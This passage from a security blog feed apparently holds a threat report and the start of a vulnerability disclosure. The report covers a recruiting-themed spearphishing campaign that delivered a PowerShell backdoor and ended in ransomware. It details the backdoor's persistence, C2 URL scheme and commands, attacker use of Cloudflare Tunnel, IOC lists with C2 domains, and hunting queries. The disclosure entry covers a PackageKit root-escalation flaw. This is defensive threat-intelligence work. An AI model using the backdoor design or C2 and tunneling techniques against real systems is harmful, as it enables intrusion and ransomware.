  &lt;li&gt;
    &lt;p&gt;Creates a scheduled task that runs every day at 11:00. This task executes the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.LNK&lt;/code&gt; file and serves as the persistence mechanism. The name of the scheduled task is&lt;/p&gt;

    &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&amp;lt;VICTIM-ID&amp;gt;c582
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
  &lt;li&gt;Creates a victim fingerprint:
    &lt;ul&gt;
      &lt;li&gt;
        &lt;p&gt;Victim ID: CRC32 of the value from&lt;/p&gt;

        &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductId
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;        &lt;/div&gt;
      &lt;/li&gt;
      &lt;li&gt;
        &lt;p&gt;Campaign ID: CRC32 of the original ZIP archive&lt;/p&gt;
      &lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Creates a Mutex named:&lt;/p&gt;

    &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Global\&amp;lt;VictimID&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
  &lt;li&gt;Constructs a domain name later used as the command and control server for the backdoor. This domain is also a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;herokuapp[.]com&lt;/code&gt;-subdomain.&lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Communicates with the C2 server using the following URL pattern:&lt;/p&gt;

    &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;https://*[.]herokuapp[.]com/&amp;lt;VictimID&amp;gt;c582&amp;lt;xor_hex(VictimID, &quot;[]0&quot;)&amp;gt;&amp;lt;unix_timestamp_hex&amp;gt;&amp;lt;random_hex&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
  &lt;li&gt;Requests this URL every four to six minutes. The HTTP response is decrypted using XOR with the Victim ID as the key and then evaluated.&lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Uses the following User-Agent string for C2 communication:&lt;/p&gt;

    &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;

    &lt;p&gt;This is a valid User-Agent string for Google Chrome on Microsoft Windows 10. Chrome version 140 was published in September 2025.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The backdoor supports three C2 command types:&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;#KILL&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Deletes the scheduled task and the malware directory.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;#HOST#&amp;lt;NEW_HOST&amp;gt;&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Defines a new C2 server.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Any other response&lt;/td&gt;
      &lt;td&gt;Interpreted and executed as PowerShell code&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;h3 id=&quot;cloudflare-tunnel&quot;&gt;Cloudflare Tunnel&lt;/h3&gt;
&lt;p&gt;After the backdoor has been installed, the actor can execute arbitrary PowerShell code on the affected system. This creates opportunities for data theft, payload deployment, lateral movement, and ransomware staging.&lt;/p&gt;

&lt;p&gt;In this campaign, we observed the actor installing &lt;a href=&quot;https://developers.cloudflare.com/cloudflare-one/networks/connectors/cloudflare-tunnel/&quot;&gt;Cloudflare Tunnel&lt;/a&gt; to hide suspicious network traffic and enable remote access.&lt;/p&gt;

&lt;p&gt;Cloudflare Tunnel is a legitimate technology used to expose local services such as HTTP, SSH, or Remote Desktop via the Cloudflare network. It can also be used to make private networks accessible through a tunnel connection, for example by using WARP routing. In an intrusion context, this gives an attacker several options to interact with compromised systems while blending into traffic to a legitimate cloud provider.&lt;/p&gt;

&lt;p&gt;For this setup, the attacker only needs the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cloudflared&lt;/code&gt; executable, which is the server-side daemon used to connect a local service to the Cloudflare network.&lt;/p&gt;

&lt;p&gt;In the observed case, the following artifacts were left on disk:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;\Users\&amp;lt;USERNAME&amp;gt;\AppData\Local\Temp\cf
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;The directory contained:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cloudflared.exe&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cert.pem&lt;/code&gt;, used for authentication&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;config.yaml&lt;/code&gt;, the tunnel configuration file&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;TUNNEL ID&amp;gt;.json&lt;/code&gt;, the tunnel credentials file, perhaps multiple of them&lt;/li&gt;
  &lt;li&gt;An error log file, if errors occurred&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These artifacts are valuable for forensic analysis, as they can help determine how the tunnel was configured and how it may have been used by the actor.&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;The observed activity demonstrates how a convincing spearphishing lure can develop into a ransomware-relevant intrusion path. The actor uses fake recruiting agencies, tailored job offers, decoy documents, and a lightweight PowerShell backdoor to establish initial access and maintain persistence.&lt;/p&gt;

&lt;p&gt;While the malware itself is not complex, it provides the attacker with enough flexibility to execute arbitrary PowerShell code, deploy additional tools, and prepare follow-up activity. In at least one observed case, this attack chain ultimately led to Qilin ransomware deployment.&lt;/p&gt;

&lt;p&gt;The campaign also shows the continued abuse of legitimate cloud services and tunneling technologies. Heroku-hosted infrastructure and Cloudflare Tunnel can make malicious activity harder to distinguish from normal cloud traffic, which increases the importance of behavioral detection and forensic artifact analysis.&lt;/p&gt;

&lt;p&gt;Defenders should monitor for PowerShell execution from shortcut files, unusual scheduled tasks, unexpected &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cloudflared&lt;/code&gt; executions, and network connections to known attacker-controlled cloud infrastructure. The following section provides additional details to support hunting, investigation, and response.&lt;/p&gt;

&lt;h2 id=&quot;appendix&quot;&gt;Appendix&lt;/h2&gt;

&lt;h3 id=&quot;iocs&quot;&gt;IOCs&lt;/h3&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Type&lt;/th&gt;
      &lt;th&gt;Value&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;Domain&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;alpentalent[.]at&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Phishing-Domain&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Domain&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;steinersearch[.]at&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Phishing-Domain&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Domain&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;headmatch[.]at&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Phishing-Domain&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Domain&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;vertrag-hm-ref3154-7e89a2ad95ad[.]herokuapp[.]com&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;ZIP archive download domain&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Domain&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sched-729-fdfd12d20ba1[.]herokuapp[.]com&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;C2 domain&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Domain&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;assetscrm-04-6532d8371b2a.herokuapp.com&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;C2 domain&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Domain&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;erpapp-091-e00eb01e7fba.herokuapp.com&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;C2 domain&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Domain&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;clientportal-43-98f1d0f4b8d9.herokuapp.com&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;C2 domain&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Domain&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;erpapp-071-00266c67b940.herokuapp.com&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;C2 domain&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;User-Agent string&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;User-Agent string used for C2 communication&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Directory&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;\Users\&amp;lt;USERNAME&amp;gt;\AppData\Local\Temp\cf&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Directory which contains Cloudflare Tunnel files&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;SHA-256&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;4578bc4b0b5eab3ac6e38d71bc1a086593b118c8bb221161d3fd27c5f5d00ea6&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Decoy document &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;2026_NDA_Datenschutzrichtlinie.docx&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;SHA-256&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ee6c8422e4e723fe408ef6bbacfa852ae372e99ddf79e2fe38920017ec5e7674&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Decoy document &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ROSSMANN_Kandidatenbrochure.docx&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;SHA-256&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;1067ffcb2b3f50d3769d05389e5d384abccc274c5433ee0fb27f6616dbf7d2c6&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Powershell script for tunnel start, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cloudflared-start.ps1&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;SHA-256&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;e00a9e9fed12f8a8f5703539c4662750dd5472d35c16dcbbdc5869f3fe5e238b&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Cloudflare tunnel executable, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cloudflared.exe&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;File name&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Dienstangebot_&amp;lt;LAST NAME&amp;gt;_&amp;lt;FIRST LETTER FIRST NAME&amp;gt;_&amp;lt;DATE&amp;gt;.zip&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Naming pattern of downloaded ZIP archive&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Scheduled Task&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;VICTIM-ID&amp;gt;c582&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Backdoor persistence&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Mutex&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Global\&amp;lt;VictimID&amp;gt;&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Mutex created by backdoor&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Email address&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;elisabeth.muehlbacher@steinersearch.at&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;known sender address&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Email address&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;marlies.hoermann@steinersearch.at&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;known sender address&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Email address&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;caroline.hoeller@steinersearch.at&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;known sender address&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Email address&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;maria.schroeder@alpentalent.at&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;known sender address&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Email address&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;daniela.weiss@alpentalent.at&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;known sender address&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Email address&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;michaela.jaeger@alpentalent.at&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;known sender address&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Email address&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;petra.schoepf@alpentalent.at&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;known sender address&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Email address&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;anna.gruber@headmatch.at&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;known sender address&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;Please also visit the &lt;a href=&quot;https://www.cert.at/de/aktuelles/2026/5/zipline-qilin-raas-update&quot;&gt;CERT.at website&lt;/a&gt; for additional IOCs.&lt;/p&gt;

&lt;h3 id=&quot;threat-hunting&quot;&gt;Threat Hunting&lt;/h3&gt;

&lt;p&gt;The following queries for Microsoft Defender can be used to identify possible affected systems:&lt;/p&gt;
&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// Search for spearphishing emails:&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;phishing_domains&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;dynamic&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;steinersearch.at&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;alpentalent.at&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;headmatch.at&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt; 
&lt;span class=&quot;nx&quot;&gt;EmailEvents&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;where&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;SenderFromDomain&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;phishing_domains&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;or&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;RecipientDomain&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;phishing_domains&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; 
&lt;span class=&quot;nx&quot;&gt;or&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;Subject&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;contains&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt; - Jobangebot: &lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// Search for ZIP archives:&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;DeviceProcessEvents&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;//DeviceFileEvents&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;where&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;FileName&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;startswith&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;Dienstangebot_&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;and&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;FileName&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;endswith&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;-26.zip&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;//Search for malicious URLs in Emails:&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;EmailUrlInfo&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;where&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;Url&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;contains&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;herokuapp.com&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;and&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;Url&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;contains&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;vertrag&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;//Search for Cloudflare tunnel software network communication:&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;DeviceNetworkEvents&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;where&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;InitiatingProcessFileName&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;has&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;cloudflared&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;mitre-attck-mapping&quot;&gt;MITRE ATT&amp;amp;CK Mapping&lt;/h3&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;ID&lt;/th&gt;
      &lt;th&gt;Name&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1573/&quot;&gt;T1573&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;Encrypted Channel&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1071/001/&quot;&gt;T1071.001&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;Web Protocols&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1059/001/&quot;&gt;T1059.001&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;PowerShell&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1204/002/&quot;&gt;T1204.002&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;Malicious File&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1053/005/&quot;&gt;T1053.005&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;Scheduled Task&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1027/&quot;&gt;T1027&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;Obfuscated Files or Information&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1090/002/&quot;&gt;T1090.002&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;External Proxy&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1105/&quot;&gt;T1105&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;Ingress Tool Transfer&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1547/001/&quot;&gt;T1547.001&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;Registry Run Keys / Startup Folder&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1566/002/&quot;&gt;T1566.002&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;Spearphishing Link&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1082/&quot;&gt;T1082&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;System Information Discovery&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1041/&quot;&gt;T1041&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;Exfiltration Over C2 Channel&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
</content>
  </entry>
  
  <entry>
    <title>Pack2TheRoot (CVE-2026-41651): Cross-Distro Local Privilege Escalation Vulnerability</title>
    <link href="https://github.security.telekom.com/2026/04/pack2theroot-linux-local-privilege-escalation.html"/>
    <id>https://github.security.telekom.com/2026/04/pack2theroot-linux-local-privilege-escalation.html</id>
    <updated>2026-04-22T00:00:00+00:00</updated>
    <summary type="html">Today we publicly disclose a high-severity vulnerability (CVSS 3.1: 8.8) - in coordination with distro maintainers - that affects multiple Linux distributions in their default installations. The Pack2TheRoot vulnerability can be exploited by any local unprivileged user to obtain root access on a vulnerable system.</summary>
    <content type="html">&lt;p&gt;Today we publicly disclose a high-severity vulnerability (CVSS 3.1: 8.8) - in coordination with distro maintainers - that affects multiple Linux distributions in their default installations.
The Pack2TheRoot vulnerability can be exploited by any local unprivileged user to obtain root access on a vulnerable system. &lt;!--more--&gt;&lt;/p&gt;

&lt;p&gt;The vulnerability lies in the &lt;a href=&quot;https://github.com/PackageKit/PackageKit&quot;&gt;PackageKit daemon&lt;/a&gt;, a cross-distro package management abstraction layer.&lt;/p&gt;

&lt;p&gt;The vulnerability enables an unprivileged attacker to install or remove system packages without authorization. This can be exploited to gain full root access or compromise the system in other ways.&lt;/p&gt;

&lt;p&gt;The Pack2TheRoot (CVE-2026-41651) vulnerability was discovered by Deutsche Telekom’s Red Team during targeted research into local privilege escalation vectors on modern Linux systems.
PackageKit as a candidate initially caught our attention when we observed that a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pkcon install&lt;/code&gt; command could install a system package without requiring a password on a Fedora Workstation.
Starting in 2025, we began investigating whether this behavior could be abused to achieve arbitrary package installation.
By guiding the AI-assisted research into a specific direction (using Claude Opus by Anthropic) we were able to discover an exploitable vulnerability.
The finding was manually reviewed and verified before being responsibly reported to the PackageKit maintainers, who confirmed the issue and its exploitability.&lt;/p&gt;

&lt;h3 id=&quot;vulnerable-versions&quot;&gt;Which versions and systems are vulnerable?&lt;/h3&gt;

&lt;p&gt;All PackageKit versions between &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;gt;= 1.0.2&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;= 1.3.4&lt;/code&gt; are vulnerable.
Since PackageKit 1.0.2 was released over 12 years ago, this leaves a broad attack surface across Linux distributions.
